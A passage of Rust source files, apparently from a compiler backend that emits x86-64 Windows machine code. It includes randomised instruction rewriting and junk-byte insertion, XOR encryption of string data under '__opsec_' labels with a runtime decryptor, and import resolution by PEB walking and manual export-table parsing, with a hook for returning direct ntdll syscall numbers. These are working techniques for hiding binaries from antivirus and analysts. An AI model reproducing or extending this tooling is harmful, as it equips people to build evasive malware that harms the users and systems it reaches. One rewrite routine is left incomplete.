let modrm = enc.code[i + 2];
|
||||
|
||||
if !is_rex_w(rex) { return None; }
|
||||
if (rex & 0x02) != 0 { return None; }
|
||||
if op != 0x85 { return None; } // test /r
|
||||
if (modrm & 0xC0) != 0xC0 { return None; }
|
||||
if ((modrm >> 3) & 7) != (modrm & 7) { return None; } // self-test
|
||||
if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; }
|
||||
if overlaps_reloc(i, 3, reloc_ranges) { return None; }
|
||||
|
||||
let dice = rng.range(20);
|
||||
|
||||
// Variant A: keep.
|
||||
if dice < 8 { return Some(3); }
|
||||
|
||||
// Variant B: cmp reg, 0 via 83 /7 imm8.
|
||||
// Encoding: REX.W 83 modrm imm8
|
||||
if dice < 14 {
|
||||
if label_inside(i, 3, label_positions) { return Some(3); }
|
||||
let dst_rm = modrm & 7;
|
||||
let new_modrm = 0xC0 | (7 << 3) | dst_rm;
|
||||
// REX.R must be clear for /7 sub-opcode (reg field is opcode extension).
|
||||
let new_rex = rex & !0x04;
|
||||
let new_bytes = [new_rex, 0x83, new_modrm, 0x00];
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
return Some(new_bytes.len());
|
||||
}
|
||||
|
||||
// Variant C: or reg, reg via 09 /r (deep-style deterministic
|
||||
// pick of one of the shallow same-length swap options).
|
||||
// Encoding: REX.W 09 modrm
|
||||
if dice < 18 {
|
||||
if label_inside(i, 3, label_positions) { return Some(3); }
|
||||
let new_bytes = [rex, 0x09, modrm];
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
return Some(new_bytes.len());
|
||||
}
|
||||
|
||||
// Variant D: keep + REX.W nop prefix.
|
||||
if label_inside(i, 3, label_positions) { return Some(3); }
|
||||
let new_bytes = [0x48, 0x90, rex, op, modrm];
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
Some(new_bytes.len())
|
||||
}
|
||||
|
||||
|
||||
fn try_expand_mov_reg_imm64(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
label_positions: &[usize],
|
||||
) -> Option<usize> {
|
||||
if i + 10 > enc.code.len() { return None; }
|
||||
let rex = enc.code[i];
|
||||
let op = enc.code[i + 1];
|
||||
|
||||
if !is_rex_w(rex) { return None; }
|
||||
if (rex & 0x06) != 0 { return None; } // R, X must be 0
|
||||
if (op & 0xF8) != 0xB8 { return None; } // B8+rd
|
||||
if overlaps_reloc(i, 10, reloc_ranges) { return None; }
|
||||
|
||||
// Read the imm64.
|
||||
let mut imm: u64 = 0;
|
||||
for k in 0..8 {
|
||||
imm |= (enc.code[i + 2 + k] as u64) << (8 * k);
|
||||
}
|
||||
|
||||
let dice = rng.range(20);
|
||||
|
||||
// Keep most of the time - this is a high-cost rewrite (no
|
||||
// savings, just more instructions) so high firing rates bloat
|
||||
// the binary without proportional value.
|
||||
if dice < 14 { return Some(10); }
|
||||
|
||||
// Pick a non-trivial 32-bit XOR key K (high bit clear so
|
||||
// sign-extension keeps imm64's high bits intact).
|
||||
let mut k = rng.next_u64() as u32;
|
||||
k &= 0x7FFF_FFFF;
|
||||
if k == 0 { k = 0x1234_5678; }
|
||||
|
||||
let masked_imm: u64 = imm ^ (k as u64);
|
||||
|
||||
let _ = (masked_imm, label_positions);
|
||||
Some(10)
|
||||
}
|
||||
|
||||
|
||||
fn maybe_insert_junk(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
at: usize,
|
||||
level: u8,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
label_positions: &[usize],
|
||||
) -> usize {
|
||||
if level == 0 { return 0; }
|
||||
if at > enc.code.len() { return 0; }
|
||||
|
||||
let threshold: u64 = match level {
|
||||
1 => 1,
|
||||
2 => 3,
|
||||
3 => 6,
|
||||
4 => 10,
|
||||
_ => 15,
|
||||
};
|
||||
if rng.range(20) >= threshold { return 0; }
|
||||
|
||||
// Max junk bytes at this site, also scaled by level:
|
||||
// level 1 -> 2, level 2 -> 3, level 3 -> 5, level 4 -> 7, level 5 -> 9
|
||||
let max_bytes: usize = match level {
|
||||
1 => 2,
|
||||
2 => 3,
|
||||
3 => 5,
|
||||
4 => 7,
|
||||
_ => 9,
|
||||
};
|
||||
|
||||
// The site at at is an instruction boundary by construction
|
||||
// (we just consumed an expansion). Splicing in junk is safe as
|
||||
// long as we don't overlap a reloc or land mid-label.
|
||||
if overlaps_reloc(at, 0, reloc_ranges) { return 0; }
|
||||
if label_positions.iter().any(|&p| p == at) {
|
||||
// A label at at is fine - the splice shifts it forward
|
||||
// alongside everything else, so the labelled instruction
|
||||
// moves with the junk. No special case needed.
|
||||
}
|
||||
|
||||
// Build a junk staging buffer of random length 1..=max_bytes,
|
||||
// composed of NOP_VARIANTS blocks of varying sizes.
|
||||
let mut staging: Vec<u8> = Vec::with_capacity(max_bytes);
|
||||
let want = 1 + (rng.range(max_bytes as u64) as usize);
|
||||
while staging.len() < want {
|
||||
let remaining = want - staging.len();
|
||||
let pick = remaining.min(NOP_VARIANTS.len());
|
||||
let block = 1 + (rng.range(pick as u64) as usize);
|
||||
staging.extend_from_slice(NOP_VARIANTS[block - 1]);
|
||||
}
|
||||
// Splice the junk in. splice with old_len=0 inserts.
|
||||
enc.splice(at, 0, &staging);
|
||||
staging.len()
|
||||
}
|
||||
|
||||
|
||||
fn encrypt_rdata_data(enc: &mut Encoder, rng: &mut Rng) {
|
||||
// Pick the key.
|
||||
let mut key = [0u8; 8];
|
||||
for slot in key.iter_mut() { *slot = rng.next_u8(); }
|
||||
// Avoid a key byte of 0x00 - XOR with zero is the identity,
|
||||
// which would leak that byte verbatim. Replace with a random
|
||||
// non-zero value.
|
||||
for slot in key.iter_mut() {
|
||||
if *slot == 0 { *slot = 1 + rng.next_u8().saturating_sub(1).max(1); }
|
||||
}
|
||||
|
||||
// Encrypt rdata.
|
||||
for (i, b) in enc.rdata.iter_mut().enumerate() {
|
||||
*b ^= key[i & 7];
|
||||
}
|
||||
// Encrypt data (currently unused by codegen but reserved).
|
||||
for (i, b) in enc.data.iter_mut().enumerate() {
|
||||
*b ^= key[i & 7];
|
||||
}
|
||||
|
||||
publish_xor_key(enc, &key);
|
||||
}
|
||||
|
||||
fn publish_xor_key(enc: &mut Encoder, key: &[u8; 8]) {
|
||||
// __rdata_end marks the last byte to decrypt. Place it BEFORE
|
||||
// appending the key.
|
||||
enc.mark_rdata_position("__rdata_end");
|
||||
enc.add_rdata_raw_named("__opsec_xor_key", key);
|
||||
}
|
||||
|
||||
|
||||
/// Internal name the entry function uses to call the decryptor.
|
||||
pub const DECRYPT_FN_LABEL: &str = "__opsec_decrypt_strings";
|
||||
|
||||
pub fn emit_decryptor(enc: &mut Encoder) {
|
||||
let loop_label = "__opsec_dec_loop";
|
||||
let done_label = "__opsec_dec_done";
|
||||
|
||||
enc.place_code_label(DECRYPT_FN_LABEL);
|
||||
|
||||
enc.push_r64(Reg64::Rax);
|
||||
enc.push_r64(Reg64::Rbx);
|
||||
enc.push_r64(Reg64::Rcx);
|
||||
enc.push_r64(Reg64::Rdx);
|
||||
enc.push_r64(Reg64::R8);
|
||||
enc.push_r64(Reg64::R9);
|
||||
|
||||
// rax = current rdata ptr, rcx = end ptr, rbx = key ptr.
|
||||
enc.lea_r64_data(Reg64::Rax, "__rdata_start");
|
||||
enc.lea_r64_data(Reg64::Rcx, "__rdata_end");
|
||||
enc.lea_r64_data(Reg64::Rbx, "__opsec_xor_key");
|
||||
// rdx = 0 (key cursor).
|
||||
enc.xor_r64_r64(Reg64::Rdx, Reg64::Rdx);
|
||||
|
||||
enc.place_code_label(loop_label);
|
||||
enc.cmp_r64_r64(Reg64::Rax, Reg64::Rcx);
|
||||
enc.jcc_label(Cond::Ae, done_label); // rax >= rcx to done
|
||||
|
||||
// r8b = key[rdx]
|
||||
enc.movzx_r64_byte_base_idx(Reg64::R8, Reg64::Rbx, Reg64::Rdx);
|
||||
// r9b = *rax
|
||||
enc.movzx_r64_byte_r64disp(Reg64::R9, Reg64::Rax, 0);
|
||||
// r9 ^= r8
|
||||
enc.xor_r64_r64(Reg64::R9, Reg64::R8);
|
||||
// *rax = r9.low8
|
||||
enc.mov_byte_r64disp_r8(Reg64::Rax, 0, Reg64::R9);
|
||||
|
||||
// Advance pointer + key index, wrap key at 8.
|
||||
enc.add_r64_imm8(Reg64::Rax, 1);
|
||||
enc.add_r64_imm8(Reg64::Rdx, 1);
|
||||
enc.and_r64_imm8(Reg64::Rdx, 7);
|
||||
|
||||
enc.jmp_label(loop_label);
|
||||
|
||||
enc.place_code_label(done_label);
|
||||
enc.pop_r64(Reg64::R9);
|
||||
enc.pop_r64(Reg64::R8);
|
||||
enc.pop_r64(Reg64::Rdx);
|
||||
enc.pop_r64(Reg64::Rcx);
|
||||
enc.pop_r64(Reg64::Rbx);
|
||||
enc.pop_r64(Reg64::Rax);
|
||||
enc.ret();
|
||||
}
|
||||
+378
@@ -0,0 +1,378 @@
|
||||
|
||||
use crate::encoder::{Cond, Encoder, Reg64};
|
||||
|
||||
// Baseline strings the resolver always needs.
|
||||
const STR_KERNEL32: &str = "__rstr_kernel32";
|
||||
const STR_LOADLIBRARYA: &str = "__rstr_LoadLibraryA";
|
||||
const STR_GETPROCADDRESS: &str = "__rstr_GetProcAddress";
|
||||
|
||||
// Cached slots; shared.rs and friends can read these too.
|
||||
pub const SLOT_LOADLIBRARYA: &str = "__rslot_LoadLibraryA";
|
||||
pub const SLOT_GETPROCADDRESS: &str = "__rslot_GetProcAddress";
|
||||
pub const SLOT_KERNEL32_BASE: &str = "__rslot_kernel32_base";
|
||||
|
||||
/// One Win32 import to resolve before main runs.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Import {
|
||||
/// DLL name with extension, e.g. "user32.dll". Case-insensitive match.
|
||||
pub dll: String,
|
||||
pub func: String,
|
||||
/// Data label for the call [rip+slot] qword.
|
||||
pub slot: String,
|
||||
}
|
||||
|
||||
/// Emit __resolve_imports + helpers, baseline strings, and cached slots.
|
||||
pub fn emit(enc: &mut Encoder, imports: &[Import]) {
|
||||
emit_baseline_strings_and_slots(enc);
|
||||
emit_find_export(enc);
|
||||
emit_resolve_imports(enc, imports);
|
||||
}
|
||||
|
||||
pub fn emit_with_user_resolver(enc: &mut Encoder, imports: &[Import], user_fn: &str) {
|
||||
use Reg64::*;
|
||||
enc.place_code_label("__resolve_imports");
|
||||
|
||||
enc.push_r64(Rbp);
|
||||
enc.mov_r64_r64(Rbp, Rsp);
|
||||
enc.sub_r64_imm32(Rsp, 0x28);
|
||||
|
||||
for imp in imports {
|
||||
let dll_label = dll_string_label(&imp.dll);
|
||||
let fn_label = func_string_label(&imp.func);
|
||||
if !enc.data_has(&dll_label) { enc.add_string(&dll_label, &imp.dll); }
|
||||
if !enc.data_has(&fn_label) { enc.add_string(&fn_label, &imp.func); }
|
||||
|
||||
// Call user_fn.
|
||||
enc.lea_r64_data(Rcx, &dll_label);
|
||||
enc.lea_r64_data(Rdx, &fn_label);
|
||||
enc.call_label(user_fn);
|
||||
// Whatever they returned goes straight into the import slot -
|
||||
// a function pointer for normal DLLs, or an SSN packed in the
|
||||
// low 32 bits for ntdll exports when NtCall is also overridden.
|
||||
enc.mov_data_r64(&imp.slot, Rax);
|
||||
}
|
||||
|
||||
enc.add_r64_imm32(Rsp, 0x28);
|
||||
enc.pop_r64(Rbp);
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
fn emit_baseline_strings_and_slots(enc: &mut Encoder) {
|
||||
if !enc.data_has(STR_KERNEL32) { enc.add_string(STR_KERNEL32, "kernel32.dll"); }
|
||||
if !enc.data_has(STR_LOADLIBRARYA) { enc.add_string(STR_LOADLIBRARYA, "LoadLibraryA"); }
|
||||
if !enc.data_has(STR_GETPROCADDRESS) { enc.add_string(STR_GETPROCADDRESS, "GetProcAddress"); }
|
||||
if !enc.data_has(SLOT_LOADLIBRARYA) { enc.add_bss(SLOT_LOADLIBRARYA, 8); }
|
||||
if !enc.data_has(SLOT_GETPROCADDRESS) { enc.add_bss(SLOT_GETPROCADDRESS, 8); }
|
||||
if !enc.data_has(SLOT_KERNEL32_BASE) { enc.add_bss(SLOT_KERNEL32_BASE, 8); }
|
||||
}
|
||||
|
||||
fn emit_find_export(enc: &mut Encoder) {
|
||||
use Reg64::*;
|
||||
enc.place_code_label("__find_export");
|
||||
|
||||
// Prologue: save the few callee-saves we use as work registers.
|
||||
enc.push_r64(Rbp);
|
||||
enc.mov_r64_r64(Rbp, Rsp);
|
||||
enc.push_r64(Rbx);
|
||||
enc.push_r64(Rsi);
|
||||
enc.push_r64(Rdi);
|
||||
|
||||
// rbx = module base (we'll lose rcx to inner strcmps), rdi = target name.
|
||||
enc.mov_r64_r64(Rbx, Rcx);
|
||||
enc.mov_r64_r64(Rdi, Rdx);
|
||||
|
||||
// eax = [rbx + 0x3C] -- e_lfanew
|
||||
enc.mov_r32_r64disp(Rax, Rbx, 0x3C);
|
||||
// Export directory RVA = [rbx + e_lfanew + 0x88].
|
||||
// r8 = rbx + e_lfanew (PE header)
|
||||
enc.lea_r64_base_idx(R8, Rbx, Rax);
|
||||
// r9 = [r8 + 0x88] (Export RVA)
|
||||
enc.mov_r32_r64disp(R9, R8, 0x88);
|
||||
enc.test_r64_r64(R9, R9);
|
||||
enc.jcc_label(Cond::Z, ".Lfe_notfound");
|
||||
|
||||
// r8 = ExportDirectory absolute = rbx + ExportRVA
|
||||
enc.lea_r64_base_idx(R8, Rbx, R9);
|
||||
|
||||
// r9 = NumberOfNames = [r8 + 0x18]
|
||||
enc.mov_r32_r64disp(R9, R8, 0x18);
|
||||
enc.test_r64_r64(R9, R9);
|
||||
enc.jcc_label(Cond::Z, ".Lfe_notfound");
|
||||
|
||||
// r10 = AddressOfNames RVA = [r8 + 0x20]; then r10 = rbx + r10
|
||||
enc.mov_r32_r64disp(R10, R8, 0x20);
|
||||
enc.lea_r64_base_idx(R10, Rbx, R10);
|
||||
|
||||
// r11 = current index = 0
|
||||
enc.xor_r64_r64(R11, R11);
|
||||
|
||||
// -- search loop -----------------------------------------------------
|
||||
enc.place_code_label(".Lfe_loop");
|
||||
enc.cmp_r64_r64(R11, R9);
|
||||
enc.jcc_label(Cond::Ge, ".Lfe_notfound");
|
||||
|
||||
// rcx = name string ptr = rbx + [r10 + r11*4]
|
||||
enc.mov_r32_base_idx_scale4(Rcx, R10, R11);
|
||||
enc.lea_r64_base_idx(Rcx, Rbx, Rcx);
|
||||
|
||||
enc.mov_r64_r64(Rsi, Rcx);
|
||||
enc.mov_r64_r64(Rax, Rdi);
|
||||
|
||||
enc.place_code_label(".Lfe_cmpchar");
|
||||
enc.movzx_r64_byte_r64(Rcx, Rsi);
|
||||
enc.movzx_r64_byte_r64(Rdx, Rax);
|
||||
enc.cmp_r64_r64(Rcx, Rdx);
|
||||
enc.jcc_label(Cond::Ne, ".Lfe_nextidx");
|
||||
enc.test_r64_r64(Rcx, Rcx);
|
||||
enc.jcc_label(Cond::Z, ".Lfe_match");
|
||||
enc.inc_r64(Rsi);
|
||||
enc.inc_r64(Rax);
|
||||
enc.jmp_label(".Lfe_cmpchar");
|
||||
|
||||
enc.place_code_label(".Lfe_nextidx");
|
||||
enc.inc_r64(R11);
|
||||
enc.jmp_label(".Lfe_loop");
|
||||
|
||||
// Match: r11 holds the matching index. Use ordinal table to get fn index,
|
||||
// then function-RVA table to get the RVA, then add base.
|
||||
enc.place_code_label(".Lfe_match");
|
||||
// rcx = AddressOfNameOrdinals RVA = [r8 + 0x24]; to rcx = rbx + rcx
|
||||
enc.mov_r32_r64disp(Rcx, R8, 0x24);
|
||||
enc.lea_r64_base_idx(Rcx, Rbx, Rcx);
|
||||
// rdx (function index) = movzx word [rcx + r11*2]
|
||||
enc.movzx_r64_word_base_idx_scale2(Rdx, Rcx, R11);
|
||||
|
||||
// rcx = AddressOfFunctions RVA = [r8 + 0x1C]; to rcx = rbx + rcx
|
||||
enc.mov_r32_r64disp(Rcx, R8, 0x1C);
|
||||
enc.lea_r64_base_idx(Rcx, Rbx, Rcx);
|
||||
// rax = dword [rcx + rdx*4]
|
||||
enc.mov_r32_base_idx_scale4(Rax, Rcx, Rdx);
|
||||
// rax = rbx + rax
|
||||
enc.lea_r64_base_idx(Rax, Rbx, Rax);
|
||||
enc.jmp_label(".Lfe_done");
|
||||
|
||||
enc.place_code_label(".Lfe_notfound");
|
||||
enc.xor_r64_r64(Rax, Rax);
|
||||
|
||||
enc.place_code_label(".Lfe_done");
|
||||
enc.pop_r64(Rdi);
|
||||
enc.pop_r64(Rsi);
|
||||
enc.pop_r64(Rbx);
|
||||
enc.pop_r64(Rbp);
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
fn emit_resolve_imports(enc: &mut Encoder, imports: &[Import]) {
|
||||
use Reg64::*;
|
||||
enc.place_code_label("__resolve_imports");
|
||||
|
||||
// Frame: 1 + 7 pushes is odd-aligned; sub 0x28 (32 shadow + 8 pad)
|
||||
// restores 16-alignment for the LoadLibraryA call (otherwise ntdll's
|
||||
// movaps in RtlDosApplyFileIsolationRedirection AVs).
|
||||
enc.push_r64(Rbp);
|
||||
enc.mov_r64_r64(Rbp, Rsp);
|
||||
enc.push_r64(Rbx);
|
||||
enc.push_r64(Rsi);
|
||||
enc.push_r64(Rdi);
|
||||
enc.push_r64(R12);
|
||||
enc.push_r64(R13);
|
||||
enc.push_r64(R14);
|
||||
enc.push_r64(R15);
|
||||
enc.sub_r64_imm32(Rsp, 0x28);
|
||||
|
||||
// PEB walk for kernel32.dll.
|
||||
enc.mov_rax_gs_qword(0x60); // rax = PEB
|
||||
enc.mov_r64_r64disp(Rax, Rax, 0x18); // rax = PEB.Ldr
|
||||
enc.lea_r64_r64disp(R12, Rax, 0x20); // r12 = &InMemoryOrderModuleList
|
||||
enc.mov_r64_r64disp(Rbx, R12, 0); // rbx = head.Flink
|
||||
|
||||
enc.place_code_label(".Lri_walk");
|
||||
enc.cmp_r64_r64(Rbx, R12);
|
||||
enc.jcc_label(Cond::Eq, ".Lri_fail"); // wrapped without a hit
|
||||
|
||||
// UTF-16 BaseDllName vs ASCII "kernel32.dll", case-insensitive.
|
||||
enc.mov_r64_r64disp(R13, Rbx, 0x50); // r13 = Buffer
|
||||
enc.movzx_r64_word_r64disp(R14, Rbx, 0x48); // r14 = Length (bytes)
|
||||
enc.lea_r64_data(Rdi, STR_KERNEL32);
|
||||
|
||||
emit_inline_unicode_ascii_ci_cmp(enc, Rdi, R13, R14);
|
||||
// rax = 1 if matched, 0 otherwise.
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Nz, ".Lri_found_k32");
|
||||
|
||||
// next = current->Flink
|
||||
enc.mov_r64_r64disp(Rbx, Rbx, 0);
|
||||
enc.jmp_label(".Lri_walk");
|
||||
|
||||
enc.place_code_label(".Lri_found_k32");
|
||||
enc.mov_r64_r64disp(R15, Rbx, 0x20); // r15 = kernel32 DllBase
|
||||
enc.mov_data_r64(SLOT_KERNEL32_BASE, R15);
|
||||
|
||||
enc.mov_r64_r64(Rcx, R15);
|
||||
enc.lea_r64_data(Rdx, STR_LOADLIBRARYA);
|
||||
enc.call_label("__find_export");
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Z, ".Lri_fail");
|
||||
enc.mov_data_r64(SLOT_LOADLIBRARYA, Rax);
|
||||
enc.mov_r64_r64(R13, Rax); // r13 = LoadLibraryA
|
||||
|
||||
enc.mov_r64_r64(Rcx, R15);
|
||||
enc.lea_r64_data(Rdx, STR_GETPROCADDRESS);
|
||||
enc.call_label("__find_export");
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Z, ".Lri_fail");
|
||||
enc.mov_data_r64(SLOT_GETPROCADDRESS, Rax);
|
||||
enc.mov_r64_r64(R14, Rax); // r14 = GetProcAddress
|
||||
|
||||
// Per-import resolution. r13 = LoadLibraryA, r14 = GetProcAddress.
|
||||
for (i, imp) in imports.iter().enumerate() {
|
||||
let dll_label = dll_string_label(&imp.dll);
|
||||
let fn_label = func_string_label(&imp.func);
|
||||
let skip_label = format!(".Lri_skip_{i}");
|
||||
|
||||
if !enc.data_has(&dll_label) { enc.add_string(&dll_label, &imp.dll); }
|
||||
if !enc.data_has(&fn_label) { enc.add_string(&fn_label, &imp.func); }
|
||||
|
||||
// rcx = dll name; call LoadLibraryA
|
||||
enc.lea_r64_data(Reg64::Rcx, &dll_label);
|
||||
enc.call_r64(R13);
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Z, &skip_label);
|
||||
|
||||
// rcx = handle, rdx = fn name; call GetProcAddress
|
||||
enc.mov_r64_r64(Rcx, Rax);
|
||||
enc.lea_r64_data(Reg64::Rdx, &fn_label);
|
||||
enc.call_r64(R14);
|
||||
enc.mov_data_r64(&imp.slot, Rax);
|
||||
|
||||
enc.place_code_label(&skip_label);
|
||||
}
|
||||
enc.jmp_label(".Lri_done");
|
||||
|
||||
// Failure path: unresolved slots stay at 0; an indirect call to
|
||||
// them AVs cleanly. Skip the imports loop entirely.
|
||||
enc.place_code_label(".Lri_fail");
|
||||
|
||||
enc.place_code_label(".Lri_done");
|
||||
enc.add_r64_imm32(Rsp, 0x28);
|
||||
enc.pop_r64(R15);
|
||||
enc.pop_r64(R14);
|
||||
enc.pop_r64(R13);
|
||||
enc.pop_r64(R12);
|
||||
enc.pop_r64(Rdi);
|
||||
enc.pop_r64(Rsi);
|
||||
enc.pop_r64(Rbx);
|
||||
enc.pop_r64(Rbp);
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
fn emit_inline_unicode_ascii_ci_cmp(
|
||||
enc: &mut Encoder,
|
||||
ascii_ptr: Reg64,
|
||||
wide_ptr: Reg64,
|
||||
wide_len_bytes: Reg64,
|
||||
) {
|
||||
use Reg64::*;
|
||||
// Move into a stable scratch set: rax=ascii ptr walker, rdx=wide ptr walker,
|
||||
// rcx=remaining wide chars.
|
||||
enc.mov_r64_r64(Rax, ascii_ptr);
|
||||
enc.mov_r64_r64(Rdx, wide_ptr);
|
||||
// rcx = wide_len_bytes / 2 -- shift right by 1
|
||||
enc.mov_r64_r64(Rcx, wide_len_bytes);
|
||||
// sar/shr rcx, 1 - use raw bytes (REX.W D1 /5 = shr reg,1)
|
||||
enc.emit_raw(0x48); enc.emit_raw(0xD1); enc.emit_raw(0xE9);
|
||||
|
||||
let unique = next_label_id();
|
||||
let l_loop = format!(".Lci_loop_{unique}");
|
||||
let l_done_count = format!(".Lci_done_count_{unique}");
|
||||
let l_mismatch = format!(".Lci_mismatch_{unique}");
|
||||
let l_match = format!(".Lci_match_{unique}");
|
||||
let l_end = format!(".Lci_end_{unique}");
|
||||
|
||||
enc.place_code_label(&l_loop);
|
||||
enc.test_r64_r64(Rcx, Rcx);
|
||||
enc.jcc_label(Cond::Z, &l_done_count);
|
||||
|
||||
// ASCII char (zero-extended)
|
||||
enc.movzx_r64_byte_r64(R8, Rax);
|
||||
enc.test_r64_r64(R8, R8);
|
||||
enc.jcc_label(Cond::Z, &l_mismatch); // ASCII ended early -> length mismatch
|
||||
|
||||
// Wide char low byte (we don't bother checking the high byte; for DLL
|
||||
// names it's always 0). Same offset trick - read 16 bits via movzx word.
|
||||
enc.movzx_r64_word_r64disp(R9, Rdx, 0);
|
||||
|
||||
// Lowercase both: if in 'A'..'Z' add 32.
|
||||
emit_to_lower(enc, R8);
|
||||
emit_to_lower(enc, R9);
|
||||
|
||||
enc.cmp_r64_r64(R8, R9);
|
||||
enc.jcc_label(Cond::Ne, &l_mismatch);
|
||||
|
||||
enc.inc_r64(Rax);
|
||||
enc.add_r64_imm8(Rdx, 2);
|
||||
enc.sub_r64_imm8(Rcx, 1);
|
||||
enc.jmp_label(&l_loop);
|
||||
|
||||
// Wide is exhausted; ASCII must also be at its NUL terminator.
|
||||
enc.place_code_label(&l_done_count);
|
||||
enc.movzx_r64_byte_r64(R8, Rax);
|
||||
enc.test_r64_r64(R8, R8);
|
||||
enc.jcc_label(Cond::Z, &l_match);
|
||||
|
||||
enc.place_code_label(&l_mismatch);
|
||||
enc.xor_r64_r64(Rax, Rax);
|
||||
enc.jmp_label(&l_end);
|
||||
|
||||
enc.place_code_label(&l_match);
|
||||
enc.mov_r64_imm64(Rax, 1);
|
||||
|
||||
enc.place_code_label(&l_end);
|
||||
}
|
||||
|
||||
/// Emit: if reg in 'A'..'Z' { reg += 32 }
|
||||
fn emit_to_lower(enc: &mut Encoder, reg: Reg64) {
|
||||
use Reg64::*;
|
||||
let unique = next_label_id();
|
||||
let l_skip = format!(".Ltl_skip_{unique}");
|
||||
|
||||
enc.cmp_r64_imm32(reg, b'A' as i32);
|
||||
enc.jcc_label(Cond::Lt, &l_skip);
|
||||
enc.cmp_r64_imm32(reg, b'Z' as i32);
|
||||
enc.jcc_label(Cond::Gt, &l_skip);
|
||||
enc.add_r64_imm8(reg, 32);
|
||||
enc.place_code_label(&l_skip);
|
||||
let _ = Rax; // silence unused-import warning in this nested scope
|
||||
}
|
||||
|
||||
fn next_label_id() -> u64 {
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
static N: AtomicU64 = AtomicU64::new(0);
|
||||
N.fetch_add(1, Ordering::Relaxed)
|
||||
}
|
||||
|
||||
/// Stable label for the data section holding a DLL name string. We dedupe
|
||||
/// per DLL so repeated imports from the same library share one string.
|
||||
pub fn dll_string_label(dll: &str) -> String {
|
||||
format!("__rstr_dll_{}", sanitize(dll))
|
||||
}
|
||||
|
||||
/// Stable label for a function-name string. Function names are not unique
|
||||
/// across DLLs in principle (think CreateProcessW in both kernel32 and
|
||||
/// kernelbase), so the slot label is per (dll, func) - see [slot_label].
|
||||
pub fn func_string_label(func: &str) -> String {
|
||||
format!("__rstr_fn_{}", sanitize(func))
|
||||
}
|
||||
|
||||
/// Data-section label for the qword slot a call site dereferences. Encodes
|
||||
/// both DLL and function name so different DLLs exporting the same name
|
||||
/// don't collide.
|
||||
pub fn slot_label(dll: &str, func: &str) -> String {
|
||||
format!("FN_{}_{}", sanitize(dll), sanitize(func))
|
||||
}
|
||||
|
||||
fn sanitize(s: &str) -> String {
|
||||
s.chars()
|
||||
.map(|c| if c.is_ascii_alphanumeric() || c == '_' { c } else { '_' })
|
||||
.collect()
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
|
||||
use crate::encoder::{Cond, Encoder, Reg64};
|
||||
|
||||
/// Data-section slot holding the host services table pointer (qword).
|
||||
pub const SLOT_HOST_SERVICES: &str = "__host_services";
|
||||
|
||||
/// Code labels for the runtime helpers.
|
||||
pub const FN_GET: &str = "__shared_get";
|
||||
pub const FN_PUT: &str = "__shared_put";
|
||||
|
||||
/// Byte offsets of each callable in the HostServices struct.
|
||||
const OFF_GET: i32 = 0x00;
|
||||
const OFF_PUT: i32 = 0x08;
|
||||
|
||||
/// Emit the slot and helper bodies. Safe to call exactly once per binary.
|
||||
pub fn emit_runtime(enc: &mut Encoder) {
|
||||
if !enc.data_has(SLOT_HOST_SERVICES) {
|
||||
enc.add_bss(SLOT_HOST_SERVICES, 8);
|
||||
}
|
||||
emit_get(enc);
|
||||
emit_put(enc);
|
||||
}
|
||||
|
||||
/// __shared_get -> ptr. rcx = name; rax = host's return (or 0).
|
||||
fn emit_get(enc: &mut Encoder) {
|
||||
use Reg64::*;
|
||||
enc.place_code_label(FN_GET);
|
||||
enc.mov_r64_data(Rax, SLOT_HOST_SERVICES);
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Z, ".Lsg_nohost");
|
||||
enc.mov_r64_r64disp(Rax, Rax, OFF_GET);
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Z, ".Lsg_nohost");
|
||||
// Tail-call. rcx already holds name; caller reserved shadow space.
|
||||
enc.jmp_r64(Rax);
|
||||
|
||||
enc.place_code_label(".Lsg_nohost");
|
||||
enc.xor_r64_r64(Rax, Rax);
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
/// __shared_put -> ok. rcx/rdx = name/ptr; rax = host's
|
||||
/// return (0 if no host).
|
||||
fn emit_put(enc: &mut Encoder) {
|
||||
use Reg64::*;
|
||||
enc.place_code_label(FN_PUT);
|
||||
enc.mov_r64_data(Rax, SLOT_HOST_SERVICES);
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Z, ".Lsp_nohost");
|
||||
enc.mov_r64_r64disp(Rax, Rax, OFF_PUT);
|
||||
enc.test_r64_r64(Rax, Rax);
|
||||
enc.jcc_label(Cond::Z, ".Lsp_nohost");
|
||||
enc.jmp_r64(Rax);
|
||||
|
||||
enc.place_code_label(".Lsp_nohost");
|
||||
enc.xor_r64_r64(Rax, Rax);
|
||||
enc.ret();
|
||||
}
|
||||
@@ -0,0 +1,610 @@
|
||||
|
||||
use crate::ast::*;
|
||||
use crate::codegen::BuildKind;
|
||||
use std::collections::HashMap;
|
||||
|
||||
pub fn check(prog: &Program) -> Result<(), Vec<String>> {
|
||||
check_with_kind(prog, BuildKind::Standard)
|
||||
}
|
||||
|
||||
pub fn check_with_kind(prog: &Program, kind: BuildKind) -> Result<(), Vec<String>> {
|
||||
let mut errs: Vec<String> = Vec::new();
|
||||
let ctx = build_context(prog);
|
||||
|
||||
let entry = kind.entry_name();
|
||||
let entry_fn = prog.functions.iter().find(|f| f.name == entry);
|
||||
match (kind, entry_fn) {
|
||||
(_, None) => errs.push(format!(
|
||||
"error[T020]: missing entry point `{entry}` for --type={}",
|
||||
match kind {
|
||||
BuildKind::Standard => "standard",
|
||||
